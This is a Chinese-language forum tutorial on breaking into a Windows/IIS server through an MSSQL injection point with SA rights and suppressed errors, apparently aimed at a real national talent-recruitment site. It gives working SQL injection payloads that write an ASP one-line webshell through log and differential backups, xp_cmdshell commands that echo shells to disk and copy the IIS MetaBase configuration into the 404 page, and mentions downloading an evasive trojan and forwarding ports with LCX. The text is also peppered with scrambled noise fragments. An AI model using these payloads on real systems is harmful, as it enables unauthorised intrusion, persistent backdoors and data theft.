sa权限的教程.

admin

————————————————————————九零后安全技术小组 | 90 Security  Team -- 打造90后网安精英团队  ———————————————————————————————


: g. L0 s6 J* n; H9 a$ w                                                             欢迎高手访问指导，欢迎新手朋友交流学习。
/ S6 L. D7 K9 b( q) c6 ?
                                                                 
                                                                 
                                                                  论坛： http://www.90team.net/
# E. G0 ^9 G1 h. c  O" @
# O1 J; @+ y) K8 ^

" j1 w5 G: d2 M友情检测国家人才网

1 c5 J( y! a- x; w" J# g
: V* @- T9 @0 G6 [& `& b内容：MSSQL注入SA权限不显错模式下的入侵
- |6 l9 w) Z! l) B" ~
  d7 i& L9 ~2 h# Y- W1 s
2 g* ]7 N2 O# s0 _, G一般新手扫到不显错的SA（systemadmin）的注入点时，虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了，今天我给大家演示下如何利用。方法很简单大家看操作。
1 v, X7 B" {$ _8 G6 _
我这里使用的是 火狐的插件提交参数。跟在浏览器里直接提交一样。

7 W  {# ?$ x5 d& u& Z' R+ y/ \
这里的主机环境：MSSQL+JSP 权限为不显错的SA，支持多行执行 xp_cmdshell存活 服务器处于内网，WEB和数据库在同一台服务器上。注意这里服务器操作系统是windows2003，IIS，404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm。
" l9 Z2 H4 ?% S  B& G% |
思路：

! o. T9 {* X3 J  l首先：
4 F( j! B& Q2 w
; v3 u1 \% C) ~- O2 P7 \* m( [通过XP_CMDSHELL 执行命令再将执行结果指向IIS的404页面，然后访问WEB站点的一个不存在的目录得到命令执行结果，刺探服务器信息。
+ J  W2 A, w( K
1.日志备份获得Webshell

& Z, r8 o9 e7 k$ r3 C2 F- b+ ~2.数据库差异备份获得Webshell

) b" n( f/ E' k, g4.直接下载免杀远控木马。
2 Z) e! d' A1 G3 a4 t0 ^% |% ?
5.直接下载LCX将服务器端口转发出来
- [" l6 B; d6 P3 p
6.通过XP_CMDSHELL 执行命令读取iis配置文件（C:\Windows\system32\inetsrv\MetaBase.xml ）分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL上传LCX将服务器转发出来。


+ k( i0 h  D, I
在这里我就不浪费大家时间了，我已经测试过  日志备份和 数据库差异备份 都没有成功 我就不演示了。  直接下载免杀木马。。这个也不用演示了。 直接在注入点后写入一个 DOWN 的VBS脚本下载就行了，
& u4 Z$ Y5 A) K
我直接演示后面一个方法

! h# d/ E& u* V( a, r
. h8 B2 F- G( A! F" N6 t分析查找WEB站点路径并在CMD下写入转义后的一句话获得WEBSHELL

% z0 p, Z7 \9 t+ K" u: }
% K1 R) {! e2 k( N$ b
2 E! t5 p; p& C
* Q$ A& Y* j0 [9 t/ R) X◆日志备份：

. W0 l) p3 R/ V9 V% t  f' ]
. O. |$ |; J$ k0 _# Y. o1. 进行初始备份
9 H, ?, p$ r) Q7 g9 a! c0 T; Alter Database TestDB Set Recovery Full Drop Table ttt Create Table ttt (a image) Backup Log TestDB to disk = '<e:\wwwroot\m.asp>' With Init--
& |3 M0 K& c0 p. P$ ], z
  p! B% [  g4 B: |5 b9 d- P2. 插入数据
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--
( f) N' b2 }! y& E" E3 u
0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
  
3. 备份并获得文件，删除临时表
5 [- \9 S2 l4 M6 V. e: s;Backup Log <数据库名> To Disk = '<e:\wwwroot\m.asp>';Drop Table ttt Alter Database TestDB Set Recovery SIMPLE--

1 Z- }( r5 i3 @' F  S6 ^- G' i

0 O# [4 }3 P5 z1 \/ w/ k' Z/ ~/ `◆数据库差异备份

（1. 进行差异备份准备工作
" [( T! Y6 n4 Y$ p; s
;Declare @a Sysname;Set @a=db_name();Declare @file VarChar(400);Set @file=<0x633A5C746573742E617370>;Drop Table ttt Create Table ttt(c Image) Backup Database @a To Disk=@file--
' W# m8 C; q0 R9 ^2 F* S
上面的 0x633A5C746573742E617370  是 c:\test.asp 路径转换后的16进制编码
9 e1 X$ D  C% N' d. j/ c
4 |& o  Q1 S) I8 G8 P
) k% n- S6 ]3 b% T5 V! F: k' Y) L' \! C$ b（2. 将数据写入到数据库
;Insert Into ttt Values(0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E)--

# V" F- J: n# a0 X& r0x253E3C256576616C2872657175657374286368722839372929293A726573706F6E73652E656E64253E   为 一句话木马 %><%eval(request(chr(97))):response.end%>
1 y+ f( V6 x- m5 O
# ~. G. v) G% U9 t( H0 n8 b. q: B3. 备份数据库并清理临时文件
0 S9 o" b9 G' Z- Z' w. b7 |4 u+ j
;Declare @b SysName;Set @b=db_name();Declare @file1 VarChar(400);Set @file1=<0x633A5C746573742E617370>;Backup Database @b To Disk=@file1 With Differential,Format;Drop Table ttt;--

0x633A5C746573742E617370  为 c:\test.asp  删除临时文件

5 d+ Q: Z: H8 W' s# [5 B
3 o/ k( a: k) o' v2 v5 C4 q( t/ R
用^转义字符来写ASP(一句话木马)文件的方法:   

6 [# k  K& J& \, k1.注入点后执行;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("90"^)^</script^> >c:\mu.asp';--
; U! Q! a  _3 ~5 x! `+ k' M
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >c:\mu.asp

. o, v0 T6 w3 Y- y5 `; ]5 ]读取IIS配置信息获取web路径

     
     注入点后面执行   ;exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--

$ J5 e) g& Z) \7 q5 h执行命令
) S0 |* R/ G) x) `0 `# k     
: h) [4 c0 w/ e; l+ P' n. x% ~/ K     注入点后面执行   ;exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
/ F& ?! l6 Y- s+ }6 f, W, P




- P  q7 c/ M7 b/ A) s* Z







6 \8 N9 O5 m; Z9 |5 a; d- \
7 Z- y7 O6 B) h. W7 ?

5 \0 T/ I$ q6 U* V& {

0 ?$ u) z: j& T' G$ G

. z5 u+ M! Z3 }# R# [- L& Q




- \2 k5 `2 t  N# k; v: n
0 s. A1 B& |0 T$ _( d& }

' m* G2 g3 h1 X3 |5 R) o2 z8 y





. n# b8 L6 J! E% X  q; k

6 @3 ~8 h3 O/ z4 J

# ?9 W* J+ ?6 y1 ?1 o, ^; R



  a- u* f" I- e# S7 R8 b. ?9 x, A

; A5 V% V4 r: g2 |# L

/ F) D3 y& t6 ~0 P% o+ \

% A8 s2 o2 p2 W/ ?& `' }